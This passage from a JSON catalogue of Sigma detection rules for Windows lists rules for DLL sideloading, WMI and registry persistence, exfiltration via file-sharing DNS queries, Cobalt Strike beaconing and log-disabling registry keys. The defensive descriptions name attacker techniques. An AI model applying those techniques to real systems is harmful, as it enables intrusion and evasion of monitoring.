          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml"
        ],
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          "attack.defense_evasion",
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      "value": "Unsigned Binary Loaded From Suspicious Location"
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    {
      "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2022/08/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_mitigations_defender_load_unsigned_dll.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
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          "tags": [
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          ],
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        }
      ],
      "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86",
      "value": "Microsoft Defender Blocked from Loading Unsigned DLL"
    },
    {
      "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Gleb Sukhodolskiy, Timur Zinniatullin oscd.community",
        "creation_date": "2017/08/22",
        "falsepositive": [
          "Unknown (data set is too small; further testing needed)"
        ],
        "filename": "win_wmi_persistence.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mattifestation/status/899646620148539397",
          "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.003"
        ]
      },
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        {
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          ],
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      "value": "WMI Persistence"
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      "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/16",
        "falsepositive": [
          "Rare legitimate access to anonfiles.com"
        ],
        "filename": "win_dns_client_anonymfiles_com.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_anonymfiles_com.yml"
        ],
        "tags": [
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          "attack.t1567.002"
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      },
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        {
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          ],
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      "value": "DNS Query for Anonfiles.com Domain - DNS Client"
    },
    {
      "description": "Detects DNS queries for subdomains related to MEGA sharing website",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/16",
        "falsepositive": [
          "Legitimate DNS queries and usage of Mega"
        ],
        "filename": "win_dns_client_mega_nz.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_mega_nz.yml"
        ],
        "tags": [
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      "value": "DNS Query To MEGA Hosting Website - DNS Client"
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    {
      "description": "Detects DNS resolution of an .onion address related to Tor routing networks",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/02/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_dns_client_tor_onion.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_tor_onion.yml"
        ],
        "tags": [
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      },
      "related": [
        {
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      ],
      "uuid": "8384bd26-bde6-4da9-8e5d-4174a7a47ca2",
      "value": "Query Tor Onion Address - DNS Client"
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    {
      "description": "Detects DNS queries to \"ufile.io\", which was seen abused by malware and threat actors as a method for data exfiltration",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/16",
        "falsepositive": [
          "DNS queries for \"ufile\" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take"
        ],
        "filename": "win_dns_client_ufile_io.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/12/13/diavol-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_ufile_io.yml"
        ],
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      },
      "related": [
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          ],
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        }
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      "uuid": "090ffaad-c01a-4879-850c-6d57da98452d",
      "value": "DNS Query To Ufile.io - DNS Client"
    },
    {
      "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_dns_client__mal_cobaltstrike.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/",
          "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client__mal_cobaltstrike.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.004"
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      },
      "related": [
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      ],
      "uuid": "0d18728b-f5bf-4381-9dcf-915539fff6c2",
      "value": "Suspicious Cobalt Strike DNS Beaconing - DNS Client"
    },
    {
      "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.",
      "meta": {
        "author": "Pushkarev Dmitry",
        "creation_date": "2020/06/28",
        "falsepositive": [
          "Need tuning applocker or add exceptions in SIEM"
        ],
        "filename": "win_applocker_file_was_not_allowed_to_run.yml",
        "level": "medium",
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        "logsource.product": "windows",
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        "filename": "create_stream_hash_regedit_export_to_ads.yml",
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        "logsource.category": "create_stream_hash",
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        }
      ],
      "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84",
      "value": "Exports Registry Key To an Alternate Data Stream"
    },
    {
      "description": "Detects the download of a file with a potentially suspicious extension from a .zip top level domain.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/05/18",
        "falsepositive": [
          "Legitimate file downloads from a websites and web services that uses the \".zip\" top level domain."
        ],
        "filename": "create_stream_hash_zip_tld_download.yml",
        "level": "high",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/",
          "https://twitter.com/cyb3rops/status/1659175181695287297",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_zip_tld_download.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "0bb4bbeb-fe52-4044-b40c-430a04577ebe",
      "value": "Potentially Suspicious File Download From ZIP TLD"
    },
    {
      "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_stream_hash_file_sharing_domains_download_unusual_extension.yml",
        "level": "medium",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015",
          "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_unusual_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.s0139",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99",
      "value": "Unusual File Download From File Sharing Websites"
    },
    {
      "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/22",
        "falsepositive": [
          "Other legitimate browsers not currently included in the filter (please add them)",
          "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)"
        ],
        "filename": "create_stream_hash_creation_internet_file.yml",
        "level": "medium",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "573df571-a223-43bc-846e-3f98da481eca",
      "value": "Creation Of a Suspicious ADS File Outside a Browser Download"
    },
    {
      "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Some false positives might occur with binaries download via Github"
        ],
        "filename": "create_stream_hash_file_sharing_domains_download_susp_extension.yml",
        "level": "high",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015",
          "https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/",
          "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_susp_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.s0139",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464",
      "value": "Suspicious File Download From File Sharing Websites"
    },
    {
      "description": "Detects the download of suspicious file type from URLs with IP",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_stream_hash_susp_ip_domains.yml",
        "level": "high",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md",
          "https://labs.withsecure.com/publications/detecting-onenote-abuse",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368",
      "value": "Unusual File Download from Direct IP Address"
    },
    {
      "description": "Detects potential suspicious winget package installation from a suspicious source.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_stream_hash_winget_susp_package_source.yml",
        "level": "high",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_winget_susp_package_source.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence"
        ]
      },
      "uuid": "a3f5c081-e75b-43a0-9f5b-51f26fe5dba2",
      "value": "Potential Suspicious Winget Package Installation"
    },
    {
      "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_stream_hash_hacktool_download.yml",
        "level": "high",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.s0139",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f",
      "value": "Hacktool Download"
    },
    {
      "description": "Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash",
      "meta": {
        "author": "Florian Roth (Nextron Systems), @0xrawsec",
        "creation_date": "2018/06/03",
        "falsepositive": [
          "This rule isn't looking for any particular binary characteristics. As legitimate installers and programs were seen embedding hidden binaries in their ADS. Some false positives are expected from browser processes and similar."
        ],
        "filename": "create_stream_hash_ads_executable.yml",
        "level": "medium",
        "logsource.category": "create_stream_hash",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0xrawsec/status/1002478725605273600?s=21",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.s0139",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821",
      "value": "Hidden Executable In NTFS Alternate Data Stream"
    },
    {
      "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started",
      "meta": {
        "author": "omkar72",
        "creation_date": "2020/10/25",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_event_office_test_regadd.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c",
      "value": "Office Application Startup - Office Test"
    },
    {
      "description": "Detects actions caused by the RedMimicry Winnti playbook",
      "meta": {
        "author": "Alexander Rausch",
        "creation_date": "2020/06/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_redmimicry_winnti_reg.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://redmimicry.com",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8",
      "value": "RedMimicry Winnti Playbook Registry Manipulation"
    },
    {
      "description": "Detects Processes accessing the camera and microphone from suspicious folder",
      "meta": {
        "author": "Den Iuzvyk",
        "creation_date": "2020/06/07",
        "falsepositive": [
          "Unlikely, there could be conferencing software running from a Temp folder accessing the devices"
        ],
        "filename": "registry_event_susp_mic_cam_access.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1125",
          "attack.t1123"
        ]
      },
      "related": [
        {
          "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "62120148-6b7a-42be-8b91-271c04e281a3",
      "value": "Suspicious Camera and Microphone Access"
    },
    {
      "description": "Detects enabling of the \"AllowAnonymousCallback\" registry value, which allows a remote connection between computers that do not have a trust relationship.",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/11/03",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "registry_set_enable_anonymous_connection.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-wmi-remotely-starting-with-vista",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_set_enable_anonymous_connection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4d431012-2ab5-4db7-a84e-b29809da2172",
      "value": "Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback"
    },
    {
      "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades)",
        "creation_date": "2021/06/22",
        "falsepositive": [
          "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)",
          "Synergy Software KVM (https://symless.com/synergy)"
        ],
        "filename": "registry_event_portproxy_registry_key.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html",
          "https://adepts.of0x.cc/netsh-portproxy-code/",
          "https://www.dfirnotes.net/portproxy_detection/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.defense_evasion",
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c",
      "value": "PortProxy Registry Key"
    },
    {
      "description": "Detects persistence registry keys for Recycle Bin",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_persistence_recycle_bin.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf",
          "https://persistence-info.github.io/Data/recyclebin.html",
          "https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "277efb8f-60be-4f10-b4d3-037802f37167",
      "value": "Registry Persistence Mechanisms in Recycle Bin"
    },
    {
      "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_susp_lsass_dll_load.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1183745981189427200",
          "https://blog.xpnsec.com/exploring-mimikatz-part-1/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1547.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823",
      "value": "DLL Load via LSASS"
    },
    {
      "description": "Detects value modification of registry key containing path to binary used as screensaver.",
      "meta": {
        "author": "Bartlomiej Czyz @bczyz1, oscd.community",
        "creation_date": "2020/10/11",
        "falsepositive": [
          "Legitimate modification of screensaver"
        ],
        "filename": "registry_event_modify_screensaver_binary_path.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000",
      "value": "Path To Screensaver Binary Modified"
    },
    {
      "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527",
      "meta": {
        "author": "Markus Neis, @markus_neis, Florian Roth",
        "creation_date": "2021/07/04",
        "falsepositive": [
          "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)"
        ],
        "filename": "registry_event_mimikatz_printernightmare.yml",
        "level": "critical",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://nvd.nist.gov/vuln/detail/cve-2021-1675",
          "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760",
          "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913",
          "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf",
          "https://nvd.nist.gov/vuln/detail/cve-2021-34527",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204",
          "cve.2021.1675",
          "cve.2021.34527"
        ]
      },
      "related": [
        {
          "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469",
      "value": "PrinterNightmare Mimikatz Driver Name"
    },
    {
      "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/01",
        "falsepositive": [
          "Software installers downloaded and used by users"
        ],
        "filename": "registry_event_susp_download_run_key.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml"
        ],
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          "attack.persistence",
          "attack.t1547.001"
        ]
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          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
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      "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be",
      "value": "Suspicious Run Key from Download"
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    {
      "description": "Alerts on trust record modification within the registry, indicating usage of macros",
      "meta": {
        "author": "Antonlovesdnb, Trent Liffick (@tliffick)",
        "creation_date": "2020/02/19",
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          "This will alert on legitimate macro usage as well, additional tuning is required"
        ],
        "filename": "registry_event_office_trust_record_modification.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/",
          "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html",
          "https://twitter.com/inversecos/status/1494174785621819397",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_trust_record_modification.yml"
        ],
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          "attack.initial_access",
          "attack.t1566.001"
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      "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2",
      "value": "Windows Registry Trust Record Modification"
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      "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup",
      "meta": {
        "author": "Avneet Singh @v3t0_, oscd.community",
        "creation_date": "2020/11/15",
        "falsepositive": [
          "Legitimate modification of the registry key by legitimate program"
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        "filename": "registry_event_runonce_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Runonce/",
          "https://twitter.com/pabraeken/status/990717080805789697",
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        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
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      },
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      "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff",
      "value": "Run Once Task Configuration in Registry"
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      "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml",
        "level": "medium",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/",
          "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html",
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          "attack.t1546.009"
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      "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01",
      "value": "New DLL Added to AppCertDlls Registry Key"
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    {
      "description": "Detects a registry key used by IceID in a campaign that distributes malicious OneNote files",
      "meta": {
        "author": "Hieu Tran",
        "creation_date": "2023/03/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_malware_qakbot_registry.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_malware_qakbot_registry.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1112"
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        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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      ],
      "uuid": "1c8e96cd-2bed-487d-9de0-b46c90cade56",
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      "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_event_disable_security_events_logging_adding_reg_key_minint.yml",
        "level": "high",
        "logsource.category": "registry_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1182516740955226112",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1562.001",
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      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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          "type": "related-to"
        }
      ],
      "uuid": "919f2ef0-be2d-4a7a-b635-eb2b41fde044",
      "value": "Disable Security Events Logging Adding Reg Key MiniNt"
    },
    {
      "description": "Sysmon registry detection of a local hidden user account.",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
